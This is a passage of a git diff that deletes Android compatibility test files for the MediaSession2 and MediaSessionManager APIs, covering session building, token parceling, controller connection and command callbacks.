-                    public void onConnected(MediaController2 controller,
-                            Session2CommandGroup allowedCommands) {
-                        latch.countDown();
-                        super.onConnected(controller, allowedCommands);
-                    }
-                }).build();
-
-        mControllers.add(controller);
-        assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-        return controller;
-    }
-
-    private MediaSession2 createMediaSession2(String id) {
-        return new MediaSession2.Builder(mContext)
-                .setId(id)
-                .setSessionCallback(sHandlerExecutor, new SessionCallback())
-                .build();
-    }
-
-    private static class SessionCallback extends MediaSession2.SessionCallback {
-        @Override
-        public Session2CommandGroup onConnect(MediaSession2 session,
-                ControllerInfo controller) {
-            if (controller.getUid() == Process.myUid()) {
-                return new Session2CommandGroup.Builder().build();
-            }
-            return null;
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/MediaSession2Test.java b/tests/tests/media/src/android/media/cts/MediaSession2Test.java
deleted file mode 100644
index 6ee8bd4..0000000
--- a/tests/tests/media/src/android/media/cts/MediaSession2Test.java
+++ /dev/null
@@ -1,832 +0,0 @@
-/*
- * Copyright 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertSame;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import android.app.PendingIntent;
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.media.MediaController2;
-import android.media.MediaMetadata;
-import android.media.MediaSession2;
-import android.media.Session2Command;
-import android.media.Session2CommandGroup;
-import android.media.Session2Token;
-import android.media.session.MediaSessionManager;
-import android.os.Bundle;
-import android.os.Handler;
-import android.os.HandlerThread;
-import android.os.Parcel;
-import android.os.Parcelable;
-import android.os.Process;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.filters.SmallTest;
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.AfterClass;
-import org.junit.Before;
-import org.junit.BeforeClass;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.Executor;
-import java.util.concurrent.TimeUnit;
-import java.util.List;
-import java.util.Objects;
-
-/**
- * Tests {@link android.media.MediaSession2}.
- */
-@RunWith(AndroidJUnit4.class)
-@SmallTest
-public class MediaSession2Test {
-    private static final long WAIT_TIME_MS = 300L;
-
-    private static final String TEST_KEY = "test_key";
-    private static final String TEST_VALUE = "test_value";
-
-    static Handler sHandler;
-    static Executor sHandlerExecutor;
-    final static Object sTestLock = new Object();
-
-    private Context mContext;
-
-    @BeforeClass
-    public static void setUpThread() {
-        synchronized (MediaSession2Test.class) {
-            if (sHandler != null) {
-                return;
-            }
-            HandlerThread handlerThread = new HandlerThread("MediaSessionTestBase");
-            handlerThread.start();
-            sHandler = new Handler(handlerThread.getLooper());
-            sHandlerExecutor = (runnable) -> {
-                Handler handler;
-                synchronized (MediaSession2Test.class) {
-                    handler = sHandler;
-                }
-                if (handler != null) {
-                    handler.post(() -> {
-                        synchronized (sTestLock) {
-                            runnable.run();
-                        }
-                    });
-                }
-            };
-        }
-    }
-
-    @AfterClass
-    public static void cleanUpThread() {
-        synchronized (MediaSession2Test.class) {
-            if (sHandler == null) {
-                return;
-            }
-            sHandler.getLooper().quitSafely();
-            sHandler = null;
-            sHandlerExecutor = null;
-        }
-    }
-
-    @Before
-    public void setUp() throws Exception {
-        mContext = InstrumentationRegistry.getContext();
-    }
-
-    @Test
-    public void testBuilder_setIllegalArguments() {
-        MediaSession2.Builder builder;
-        try {
-            builder = new MediaSession2.Builder(null);
-            fail("null context shouldn't be allowed");
-        } catch (IllegalArgumentException e) {
-            // expected. pass-through
-        }
-        try {
-            builder = new MediaSession2.Builder(mContext);
-            builder.setId(null);
-            fail("null id shouldn't be allowed");
-        } catch (IllegalArgumentException e) {
-            // expected. pass-through
-        }
-    }
-
-    @Test
-    public void testBuilder_setSessionActivity() {
-        Intent intent = new Intent(Intent.ACTION_MAIN);
-        PendingIntent pendingIntent = PendingIntent.getActivity(
-                mContext, 0 /* requestCode */, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED /* flags */);
-        try (MediaSession2 session = new MediaSession2.Builder(mContext)
-                .setSessionActivity(pendingIntent)
-                .build()) {
-            // Note: The pendingIntent is set but is never used inside of MediaSession2.
-            // TODO: If getter is created, put assertEquals() here.
-        }
-    }
-
-    @Test
-    public void testBuilder_createSessionWithoutId() {
-        try (MediaSession2 session = new MediaSession2.Builder(mContext).build()) {
-            assertEquals("", session.getId());
-        }
-    }
-
-    @Test
-    public void testBuilder_createSessionWithDupId() {
-        final String dupSessionId = "TEST_SESSION_DUP_ID";
-        MediaSession2.Builder builder = new MediaSession2.Builder(mContext).setId(dupSessionId);
-        try (
-            MediaSession2 session1 = builder.build();
-            MediaSession2 session2 = builder.build()
-        ) {
-            fail("Duplicated id shouldn't be allowed");
-        } catch (IllegalStateException e) {
-            // expected. pass-through
-        }
-    }
-
-    @Test
-    public void testBuilder_setExtras_withFrameworkParcelable() {
-        final String testKey = "test_key";
-        final Session2Token frameworkParcelable = new Session2Token(mContext,
-                new ComponentName(mContext, this.getClass()));
-
-        Bundle extras = new Bundle();
-        extras.putParcelable(testKey, frameworkParcelable);
-
-        try (MediaSession2 session = new MediaSession2.Builder(mContext)
-                .setExtras(extras)
-                .build()) {
-            Bundle extrasOut = session.getToken().getExtras();
-            assertNotNull(extrasOut);
-            assertTrue(extrasOut.containsKey(testKey));
-            assertEquals(frameworkParcelable, extrasOut.getParcelable(testKey));
-        }
-    }
-
-    @Test
-    public void testBuilder_setExtras_withCustomParcelable() {
-        final String testKey = "test_key";
-        final CustomParcelable customParcelable = new CustomParcelable(1);
-
-        Bundle extras = new Bundle();
-        extras.putParcelable(testKey, customParcelable);
-
-        try (MediaSession2 session = new MediaSession2.Builder(mContext)
-                .setExtras(extras)
-                .build()) {
-            fail("Custom Parcelables shouldn't be accepted!");
-        } catch (IllegalArgumentException e) {
-            // Expected
-        }
-    }
-
-    @Test
-    public void testSession2Token() {
-        final Bundle extras = new Bundle();
-        try (MediaSession2 session = new MediaSession2.Builder(mContext)
-                .setExtras(extras)
-                .build()) {
-            Session2Token token = session.getToken();
-            assertEquals(Process.myUid(), token.getUid());
-            assertEquals(mContext.getPackageName(), token.getPackageName());
-            assertNull(token.getServiceName());
-            assertEquals(Session2Token.TYPE_SESSION, token.getType());
-            assertEquals(0, token.describeContents());
-            assertTrue(token.getExtras().isEmpty());
-        }
-    }
-
-    @Test
-    public void testSession2Token_extrasNotSet() {
-        try (MediaSession2 session = new MediaSession2.Builder(mContext)
-                .build()) {
-            Session2Token token = session.getToken();
-            assertTrue(token.getExtras().isEmpty());
-        }
-    }
-
-    @Test
-    public void testGetConnectedControllers_newController() throws Exception {
-        Session2Callback sessionCallback = new Session2Callback();
-        try (MediaSession2 session = new MediaSession2.Builder(mContext)
-                .setSessionCallback(sHandlerExecutor, sessionCallback)
-                .build()) {
-            Controller2Callback callback = new Controller2Callback();
-            MediaController2 controller =
-                    new MediaController2.Builder(mContext, session.getToken())
-                            .setControllerCallback(sHandlerExecutor, callback)
-                            .build();
-            assertTrue(callback.awaitOnConnected(WAIT_TIME_MS));
-
-            List<MediaSession2.ControllerInfo> controllers = session.getConnectedControllers();
-            boolean found = false;
-            for (MediaSession2.ControllerInfo controllerInfo : controllers) {
-                if (Objects.equals(sessionCallback.mController, controllerInfo)) {
-                    assertEquals(Process.myUid(), controllerInfo.getUid());
-                    found = true;
-                    break;
-                }
-            }
-            assertTrue(found);
-        }
-    }
-
-    @Test
-    public void testGetConnectedControllers_closedController() throws Exception {
-        Session2Callback sessionCallback = new Session2Callback();
-        try (MediaSession2 session = new MediaSession2.Builder(mContext)
-                .setSessionCallback(sHandlerExecutor, sessionCallback)
-                .build()) {
-            Controller2Callback callback = new Controller2Callback();
-            MediaController2 controller =
-                    new MediaController2.Builder(mContext, session.getToken())
-                            .setControllerCallback(sHandlerExecutor, callback)
-                            .build();
-            assertTrue(callback.awaitOnConnected(WAIT_TIME_MS));
-            controller.close();
-            assertTrue(sessionCallback.awaitOnDisconnect(WAIT_TIME_MS));
-
-            List<MediaSession2.ControllerInfo> controllers = session.getConnectedControllers();
-            for (MediaSession2.ControllerInfo controllerInfo : controllers) {
-                assertNotEquals(sessionCallback.mController, controllerInfo);
-            }
-        }
-    }
-
-    @Test
-    public void testSession2Token_writeToParcel() {
-        final Bundle extras = new Bundle();
-        extras.putString(TEST_KEY, TEST_VALUE);
-
-        try (MediaSession2 session = new MediaSession2.Builder(mContext)
-                .setExtras(extras)
-                .build()) {
-            Session2Token token = session.getToken();
-
-            Parcel parcel = Parcel.obtain();
-            token.writeToParcel(parcel, 0 /* flags */);
-            parcel.setDataPosition(0);
-            Session2Token tokenOut = Session2Token.CREATOR.createFromParcel(parcel);
-            parcel.recycle();
-
-            assertEquals(Process.myUid(), tokenOut.getUid());
-            assertEquals(mContext.getPackageName(), tokenOut.getPackageName());
-            assertNull(tokenOut.getServiceName());
-            assertEquals(Session2Token.TYPE_SESSION, tokenOut.getType());
-
-            Bundle extrasOut = tokenOut.getExtras();
-            assertNotNull(extrasOut);
-            assertEquals(TEST_VALUE, extrasOut.getString(TEST_KEY));
-        }
-    }
-
-    @Test
-    public void testBroadcastSessionCommand() throws Exception {
-        Session2Callback sessionCallback = new Session2Callback();
-
-        String commandStr = "test_command";
-        Session2Command command = new Session2Command(commandStr, null);
-
-        int resultCode = 100;
-        Session2Command.Result commandResult = new Session2Command.Result(resultCode, null);
-
-        try (MediaSession2 session = new MediaSession2.Builder(mContext)
-                .setSessionCallback(sHandlerExecutor, sessionCallback)
-                .build()) {
-
-            // 1. Create two controllers with each latch.
-            final CountDownLatch latch1 = new CountDownLatch(1);
-            Controller2Callback callback1 = new Controller2Callback() {
-                @Override
-                public Session2Command.Result onSessionCommand(MediaController2 controller,
-                        Session2Command command, Bundle args) {
-                    if (commandStr.equals(command.getCustomAction())
-                            && command.getCustomExtras() == null) {
-                        latch1.countDown();
-                    }
-                    return commandResult;
-                }
-            };
-
-            MediaController2 controller1 =
-                    new MediaController2.Builder(mContext, session.getToken())
-                            .setControllerCallback(sHandlerExecutor, callback1)
-                            .build();
-
-            final CountDownLatch latch2 = new CountDownLatch(1);
-            Controller2Callback callback2 = new Controller2Callback() {
-                @Override
-                public Session2Command.Result onSessionCommand(MediaController2 controller,
-                        Session2Command command, Bundle args) {
-                    if (commandStr.equals(command.getCustomAction())
-                            && command.getCustomExtras() == null) {
-                        latch2.countDown();
-                    }
-                    return commandResult;
-                }
-            };
-            MediaController2 controller2 =
-                    new MediaController2.Builder(mContext, session.getToken())
-                            .setControllerCallback(sHandlerExecutor, callback2)
-                            .build();
-
-            // 2. Wait until all the controllers are connected.
-            assertTrue(callback1.awaitOnConnected(WAIT_TIME_MS));
-            assertTrue(callback2.awaitOnConnected(WAIT_TIME_MS));
-
-            // 3. Call MediaSession2#broadcastSessionCommand() and check both controller's
-            // onSessionCommand is called.
-            session.broadcastSessionCommand(command, null);
-            assertTrue(latch1.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
-            assertTrue(latch2.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
-        }
-    }
-
-    @Test
-    public void testCallback_onConnect_onDisconnect() throws Exception {
-        Session2Callback sessionCallback = new Session2Callback();
-        try (MediaSession2 session = new MediaSession2.Builder(mContext)
-                .setSessionCallback(sHandlerExecutor, sessionCallback)
-                .build()) {
-            // Test onConnect
-            Controller2Callback controllerCallback = new Controller2Callback();
-            Bundle testConnectionHints = new Bundle();
-            testConnectionHints.putString("test_key", "test_value");
-
-            MediaController2 controller =
-                    new MediaController2.Builder(mContext, session.getToken())
-                            .setConnectionHints(testConnectionHints)
-                            .setControllerCallback(sHandlerExecutor, controllerCallback)
-                            .build();
-            assertTrue(controllerCallback.awaitOnConnected(WAIT_TIME_MS));
-            assertTrue(sessionCallback.awaitOnConnect(WAIT_TIME_MS));
-            assertEquals(session, sessionCallback.mSession);
-            MediaSession2.ControllerInfo controllerInfo = sessionCallback.mController;
-
-            // Check whether the controllerInfo is the right one.
-            assertEquals(mContext.getPackageName(), controllerInfo.getPackageName());
-            MediaSessionManager.RemoteUserInfo remoteUserInfo = controllerInfo.getRemoteUserInfo();
-            assertEquals(Process.myPid(), remoteUserInfo.getPid());
-            assertEquals(Process.myUid(), remoteUserInfo.getUid());
-            assertEquals(mContext.getPackageName(), remoteUserInfo.getPackageName());
-            assertTrue(TestUtils.equals(testConnectionHints, controllerInfo.getConnectionHints()));
-
-            // Test onDisconnect
-            controller.close();
-            assertTrue(controllerCallback.awaitOnDisconnected(WAIT_TIME_MS));
-            assertTrue(sessionCallback.awaitOnDisconnect(WAIT_TIME_MS));
-            assertEquals(session, sessionCallback.mSession);
-            assertEquals(controllerInfo, sessionCallback.mController);
-        }
-    }
-
-    @Test
-    public void testCallback_onPostConnect_connected() throws Exception {
-        Session2Callback sessionCallback = new Session2Callback();
-        try (MediaSession2 session = new MediaSession2.Builder(mContext)
-                .setSessionCallback(sHandlerExecutor, sessionCallback)
-                .build()) {
-            Controller2Callback controllerCallback = new Controller2Callback();
-            MediaController2 controller =
-                    new MediaController2.Builder(mContext, session.getToken())
-                            .setControllerCallback(sHandlerExecutor, controllerCallback)
-                            .build();
-            assertTrue(controllerCallback.awaitOnConnected(WAIT_TIME_MS));
-            assertTrue(sessionCallback.awaitOnPostConnect(WAIT_TIME_MS));
-            assertEquals(Process.myUid(), sessionCallback.mController.getUid());
-        }
-    }
-
-    @Test
-    public void testCallback_onPostConnect_rejected() throws Exception {
-        Session2Callback sessionCallback = new Session2Callback() {
-            @Override
-            public Session2CommandGroup onConnect(MediaSession2 session,
-                    MediaSession2.ControllerInfo controller) {
-                // Reject all
-                return null;
-            }
-        };
-        try (MediaSession2 session = new MediaSession2.Builder(mContext)
-                .setSessionCallback(sHandlerExecutor, sessionCallback)
-                .build()) {
-            Controller2Callback callback = new Controller2Callback();
-
-            MediaController2 controller =
-                    new MediaController2.Builder(mContext, session.getToken())
-                            .setControllerCallback(sHandlerExecutor, callback)
-                            .build();
-            assertFalse(sessionCallback.awaitOnPostConnect(WAIT_TIME_MS));
-        }
-    }
-
-    @Test
-    public void testCallback_onSessionCommand() {
-        Session2Callback sessionCallback = new Session2Callback();
-
-        try (MediaSession2 session = new MediaSession2.Builder(mContext)
-                .setSessionCallback(sHandlerExecutor, sessionCallback)
-                .build()) {
-            Controller2Callback controllerCallback = new Controller2Callback();
-            MediaController2 controller =
-                    new MediaController2.Builder(mContext, session.getToken())
-                            .setControllerCallback(sHandlerExecutor, controllerCallback)
-                            .build();
-            // Wait for connection
-            assertTrue(controllerCallback.awaitOnConnected(WAIT_TIME_MS));
-            assertTrue(sessionCallback.awaitOnConnect(WAIT_TIME_MS));
-            MediaSession2.ControllerInfo controllerInfo = sessionCallback.mController;
-
-            // Test onSessionCommand
-            String commandStr = "test_command";
-            String commandExtraKey = "test_extra_key";
-            String commandExtraValue = "test_extra_value";
-            Bundle commandExtra = new Bundle();
-            commandExtra.putString(commandExtraKey, commandExtraValue);
-            Session2Command command = new Session2Command(commandStr, commandExtra);
-
-            String commandArgKey = "test_arg_key";
-            String commandArgValue = "test_arg_value";
-            Bundle commandArg = new Bundle();
-            commandArg.putString(commandArgKey, commandArgValue);
-            controller.sendSessionCommand(command, commandArg);
-
-            assertTrue(sessionCallback.awaitOnSessionCommand(WAIT_TIME_MS));
-            assertEquals(session, sessionCallback.mSession);
-            assertEquals(controllerInfo, sessionCallback.mController);
-            assertEquals(commandStr, sessionCallback.mCommand.getCustomAction());
-            assertEquals(commandExtraValue,
-                    sessionCallback.mCommand.getCustomExtras().getString(commandExtraKey));
-            assertEquals(commandArgValue, sessionCallback.mCommandArgs.getString(commandArgKey));
-
-            controller.close();
-            assertTrue(controllerCallback.awaitOnDisconnected(WAIT_TIME_MS));
-        }
-    }
-
-    @Test
-    public void testCallback_onCommandResult() {
-        Session2Callback sessionCallback = new Session2Callback();
-
-        int resultCode = 100;
-        String commandResultKey = "test_result_key";
-        String commandResultValue = "test_result_value";
-        Bundle resultData = new Bundle();
-        resultData.putString(commandResultKey, commandResultValue);
-        Session2Command.Result commandResult = new Session2Command.Result(resultCode, resultData);
-
-        try (MediaSession2 session = new MediaSession2.Builder(mContext)
-                .setSessionCallback(sHandlerExecutor, sessionCallback)
-                .build()) {
-            Controller2Callback controllerCallback = new Controller2Callback() {
-                @Override
-                public Session2Command.Result onSessionCommand(MediaController2 controller,
-                        Session2Command command, Bundle args) {
-                    return commandResult;
-                }
-            };
-            MediaController2 controller =
-                    new MediaController2.Builder(mContext, session.getToken())
-                            .setControllerCallback(sHandlerExecutor, controllerCallback)
-                            .build();
-            // Wait for connection
-            assertTrue(sessionCallback.awaitOnConnect(WAIT_TIME_MS));
-            MediaSession2.ControllerInfo controllerInfo = sessionCallback.mController;
-
-            // Test onCommandResult
-            String commandStr = "test_command";
-            String commandExtraKey = "test_extra_key";
-            String commandExtraValue = "test_extra_value";
-            Bundle commandExtra = new Bundle();
-            commandExtra.putString(commandExtraKey, commandExtraValue);
-            Session2Command command = new Session2Command(commandStr, commandExtra);
-
-            String commandArgKey = "test_arg_key";
-            String commandArgValue = "test_arg_value";
-            Bundle commandArg = new Bundle();
-            commandArg.putString(commandArgKey, commandArgValue);
-            session.sendSessionCommand(controllerInfo, command, commandArg);
-
-            assertTrue(sessionCallback.awaitOnCommandResult(WAIT_TIME_MS));
-            assertEquals(session, sessionCallback.mSession);
-            assertEquals(controllerInfo, sessionCallback.mController);
-            assertEquals(resultCode, sessionCallback.mCommandResult.getResultCode());
-            assertEquals(commandResultValue,
-                    sessionCallback.mCommandResult.getResultData().getString(commandResultKey));
-
-            controller.close();
-            assertTrue(controllerCallback.awaitOnDisconnected(WAIT_TIME_MS));
-        }
-    }
-
-    @Test
-    public void testSetPlaybackActive() {
-        final boolean testInitialPlaybackActive = true;
-        final boolean testPlaybackActive = false;
-        Session2Callback sessionCallback = new Session2Callback();
-        try (MediaSession2 session = new MediaSession2.Builder(mContext)
-                .setSessionCallback(sHandlerExecutor, sessionCallback)
-                .build()) {
-            session.setPlaybackActive(testInitialPlaybackActive);
-            assertEquals(testInitialPlaybackActive, session.isPlaybackActive());
-
-            Controller2Callback controllerCallback = new Controller2Callback();
-            MediaController2 controller =
-                    new MediaController2.Builder(mContext, session.getToken())
-                            .setControllerCallback(sHandlerExecutor, controllerCallback)
-                            .build();
-            // Wait for connection
-            assertTrue(controllerCallback.awaitOnConnected(WAIT_TIME_MS));
-
-            // Check initial value
-            assertEquals(testInitialPlaybackActive, controller.isPlaybackActive());
-
-            // Change playback active change and wait for changes
-            session.setPlaybackActive(testPlaybackActive);
-            assertEquals(testPlaybackActive, session.isPlaybackActive());
-            assertTrue(controllerCallback.awaitOnPlaybackActiveChanged(WAIT_TIME_MS));
-
-            assertEquals(testPlaybackActive, controllerCallback.getNotifiedPlaybackActive());
-            assertEquals(testPlaybackActive, controller.isPlaybackActive());
-
-            controller.close();
-            assertTrue(controllerCallback.awaitOnDisconnected(WAIT_TIME_MS));
-        }
-    }
-
-    @Test
-    public void testCancelSessionCommand() {
-        Session2Callback sessionCallback = new Session2Callback();
-        try (MediaSession2 session = new MediaSession2.Builder(mContext)
-                .setSessionCallback(sHandlerExecutor, sessionCallback)
-                .build()) {
-            Controller2Callback controllerCallback = new Controller2Callback();
-            MediaController2 controller =
-                    new MediaController2.Builder(mContext, session.getToken())
-                            .setControllerCallback(sHandlerExecutor, controllerCallback)
-                            .build();
-            // Wait for connection
-            assertTrue(sessionCallback.awaitOnConnect(WAIT_TIME_MS));
-            MediaSession2.ControllerInfo controllerInfo = sessionCallback.mController;
-
-            String commandStr = "test_command_";
-            String commandExtraKey = "test_extra_key_";
-            String commandExtraValue = "test_extra_value_";
-            Bundle commandExtra = new Bundle();
-            commandExtra.putString(commandExtraKey, commandExtraValue);
-            Session2Command command = new Session2Command(commandStr, commandExtra);
-
-            String commandArgKey = "test_arg_key_";
-            String commandArgValue = "test_arg_value_";
-            Bundle commandArg = new Bundle();
-            commandArg.putString(commandArgKey, commandArgValue);
-            synchronized (sTestLock) {
-                Object token = session.sendSessionCommand(controllerInfo, command, commandArg);
-                session.cancelSessionCommand(controllerInfo, token);
-            }
-            assertTrue(sessionCallback.awaitOnCommandResult(WAIT_TIME_MS));
-            assertEquals(Session2Command.Result.RESULT_INFO_SKIPPED,
-                    sessionCallback.mCommandResult.getResultCode());
-
-            controller.close();
-            assertTrue(controllerCallback.awaitOnDisconnected(WAIT_TIME_MS));
-        }
-    }
-
-    class Controller2Callback extends MediaController2.ControllerCallback {
-        private final CountDownLatch mOnConnectedLatch = new CountDownLatch(1);
-        private final CountDownLatch mOnDisconnectedLatch = new CountDownLatch(1);
-        private final CountDownLatch mOnPlaybackActiveChangedLatch = new CountDownLatch(1);
-
-        private boolean mPlaybackActive;
-
-        @Override
-        public void onConnected(MediaController2 controller,
-                Session2CommandGroup allowedCommands) {
-            mOnConnectedLatch.countDown();
-        }
-
-        @Override
-        public void onDisconnected(MediaController2 controller) {
-            mOnDisconnectedLatch.countDown();
-        }
-
-        @Override
-        public void onPlaybackActiveChanged(MediaController2 controller, boolean playbackActive) {
-            mPlaybackActive = playbackActive;
-            mOnPlaybackActiveChangedLatch.countDown();
-        }
-
-        public boolean awaitOnConnected(long waitTimeMs) {
-            try {
-                return mOnConnectedLatch.await(waitTimeMs, TimeUnit.MILLISECONDS);
-            } catch (InterruptedException e) {
-                return false;
-            }
-        }
-
-        public boolean awaitOnDisconnected(long waitTimeMs) {
-            try {
-                return mOnDisconnectedLatch.await(waitTimeMs, TimeUnit.MILLISECONDS);
-            } catch (InterruptedException e) {
-                return false;
-            }
-        }
-
-        public boolean awaitOnPlaybackActiveChanged(long waitTimeMs) {
-            try {
-                return mOnPlaybackActiveChangedLatch.await(waitTimeMs, TimeUnit.MILLISECONDS);
-            } catch (InterruptedException e) {
-                return false;
-            }
-        }
-
-        public boolean getNotifiedPlaybackActive() {
-            return mPlaybackActive;
-        }
-    }
-
-    class Session2Callback extends MediaSession2.SessionCallback {
-        private final CountDownLatch mOnConnectLatch = new CountDownLatch(1);
-        private final CountDownLatch mOnPostConnectLatch = new CountDownLatch(1);
-        private final CountDownLatch mOnDisconnectLatch = new CountDownLatch(1);
-        private final CountDownLatch mOnSessionCommandLatch = new CountDownLatch(1);
-        private final CountDownLatch mOnCommandResultLatch = new CountDownLatch(1);
-
-        MediaSession2 mSession;
-        MediaSession2.ControllerInfo mController;
-        Session2Command mCommand;
-        Bundle mCommandArgs;
-        Session2Command.Result mCommandResult;
-
-        @Override
-        public Session2CommandGroup onConnect(MediaSession2 session,
-                MediaSession2.ControllerInfo controller) {
-            super.onConnect(session, controller);
-            if (controller.getUid() != Process.myUid()) {
-                return null;
-            }
-            mSession = session;
-            mController = controller;
-            mOnConnectLatch.countDown();
-            return new Session2CommandGroup.Builder().build();
-        }
-
-        @Override
-        public void onPostConnect(MediaSession2 session, MediaSession2.ControllerInfo controller) {
-            super.onPostConnect(session, controller);
-            if (controller.getUid() != Process.myUid()) {
-                return;
-            }
-            mSession = session;
-            mController = controller;
-            mOnPostConnectLatch.countDown();
-        }
-
-        @Override
-        public void onDisconnected(MediaSession2 session, MediaSession2.ControllerInfo controller) {
-            super.onDisconnected(session, controller);
-            if (controller.getUid() != Process.myUid()) {
-                return;
-            }
-            mSession = session;
-            mController = controller;
-            mOnDisconnectLatch.countDown();
-        }
-
-        @Override
-        public Session2Command.Result onSessionCommand(MediaSession2 session,
-                MediaSession2.ControllerInfo controller, Session2Command command, Bundle args) {
-            super.onSessionCommand(session, controller, command, args);
-            if (controller.getUid() != Process.myUid()) {
-                return null;
-            }
-            mSession = session;
-            mController = controller;
-            mCommand = command;
-            mCommandArgs = args;
-            mOnSessionCommandLatch.countDown();
-
-            int resultCode = 100;
-            String commandResultKey = "test_result_key";
-            String commandResultValue = "test_result_value";
-            Bundle resultData = new Bundle();
-            resultData.putString(commandResultKey, commandResultValue);
-            Session2Command.Result commandResult =
-                    new Session2Command.Result(resultCode, resultData);
-            return commandResult;
-        }
-
-        @Override
-        public void onCommandResult(MediaSession2 session, MediaSession2.ControllerInfo controller,
-                Object token, Session2Command command, Session2Command.Result result) {
-            super.onCommandResult(session, controller, token, command, result);
-            if (controller.getUid() != Process.myUid()) {
-                return;
-            }
-            mSession = session;
-            mController = controller;
-            mCommand = command;
-            mCommandResult = result;
-            mOnCommandResultLatch.countDown();
-        }
-
-        public boolean awaitOnConnect(long waitTimeMs) {
-            try {
-                return mOnConnectLatch.await(waitTimeMs, TimeUnit.MILLISECONDS);
-            } catch (InterruptedException e) {
-                return false;
-            }
-        }
-
-        public boolean awaitOnPostConnect(long waitTimeMs) {
-            try {
-                return mOnPostConnectLatch.await(waitTimeMs, TimeUnit.MILLISECONDS);
-            } catch (InterruptedException e) {
-                return false;
-            }
-        }
-
-        public boolean awaitOnDisconnect(long waitTimeMs) {
-            try {
-                return mOnDisconnectLatch.await(waitTimeMs, TimeUnit.MILLISECONDS);
-            } catch (InterruptedException e) {
-                return false;
-            }
-        }
-
-        public boolean awaitOnSessionCommand(long waitTimeMs) {
-            try {
-                return mOnSessionCommandLatch.await(waitTimeMs, TimeUnit.MILLISECONDS);
-            } catch (InterruptedException e) {
-                return false;
-            }
-        }
-
-        public boolean awaitOnCommandResult(long waitTimeMs) {
-            try {
-                return mOnCommandResultLatch.await(waitTimeMs, TimeUnit.MILLISECONDS);
-            } catch (InterruptedException e) {
-                return false;
-            }
-        }
-    }
-
-    static class CustomParcelable implements Parcelable {
-        public int mValue;
-
-        public CustomParcelable(int value) {
-            mValue = value;
-        }
-
-        @Override
-        public int describeContents() {
-            return 0;
-        }
-
-        @Override
-        public void writeToParcel(Parcel dest, int flags) {
-            dest.writeInt(mValue);
-        }
-
-        public static final Parcelable.Creator<CustomParcelable> CREATOR =
-                new Parcelable.Creator<CustomParcelable>() {
-            @Override
-            public CustomParcelable createFromParcel(Parcel in) {
-                int value = in.readInt();
-                return new CustomParcelable(value);
-            }
-
-            @Override
-            public CustomParcelable[] newArray(int size) {
-                return new CustomParcelable[size];
-            }
-        };
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java b/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java
deleted file mode 100644
index b8cac31..0000000
--- a/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java
+++ /dev/null
@@ -1,749 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.media.cts;
-
-import android.media.AudioManager;
-import android.platform.test.annotations.AppModeFull;
-import com.android.compatibility.common.util.ApiLevelUtil;
-import com.android.compatibility.common.util.MediaUtils;
-import com.android.compatibility.common.util.SystemUtil;
-
-import android.content.ComponentName;
-import android.Manifest;
-import android.content.Context;
-import android.content.Intent;
-import android.content.pm.PackageManager;
-import android.content.res.Resources;
-import android.media.MediaSession2;
-import android.media.Session2CommandGroup;
-import android.media.Session2Token;
-import android.media.session.MediaController;
-import android.media.session.MediaSession;
-import android.media.session.MediaSessionManager;
-import android.media.session.PlaybackState;
-import android.os.Build;
-import android.os.Handler;
-import android.os.HandlerThread;
-import android.os.Looper;
-import android.os.Process;
-import android.platform.test.annotations.AppModeFull;
-import android.provider.Settings;
-import android.test.InstrumentationTestCase;
-import android.test.UiThreadTest;
-import android.util.Log;
-import android.view.KeyEvent;
-
-import com.android.compatibility.common.util.SystemUtil;
-
-import java.io.IOException;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.Executor;
-import java.util.concurrent.Executors;
-import java.util.concurrent.TimeUnit;
-
-@AppModeFull(reason = "TODO: evaluate and port to instant")
-public class MediaSessionManagerTest extends InstrumentationTestCase {
-    private static final String TAG = "MediaSessionManagerTest";
-    private static final int TIMEOUT_MS = 3000;
-    private static final int WAIT_MS = 500;
-    private static final String ENABLED_NOTIFICATION_LISTENERS = "enabled_notification_listeners";
-
-    private Context mContext;
-    private AudioManager mAudioManager;
-    private MediaSessionManager mSessionManager;
-
-    private static boolean sIsAtLeastS = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S);
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mContext = getInstrumentation().getTargetContext();
-        mAudioManager = (AudioManager) getInstrumentation().getTargetContext()
-                .getSystemService(Context.AUDIO_SERVICE);
-        mSessionManager = (MediaSessionManager) getInstrumentation().getTargetContext()
-                .getSystemService(Context.MEDIA_SESSION_SERVICE);
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
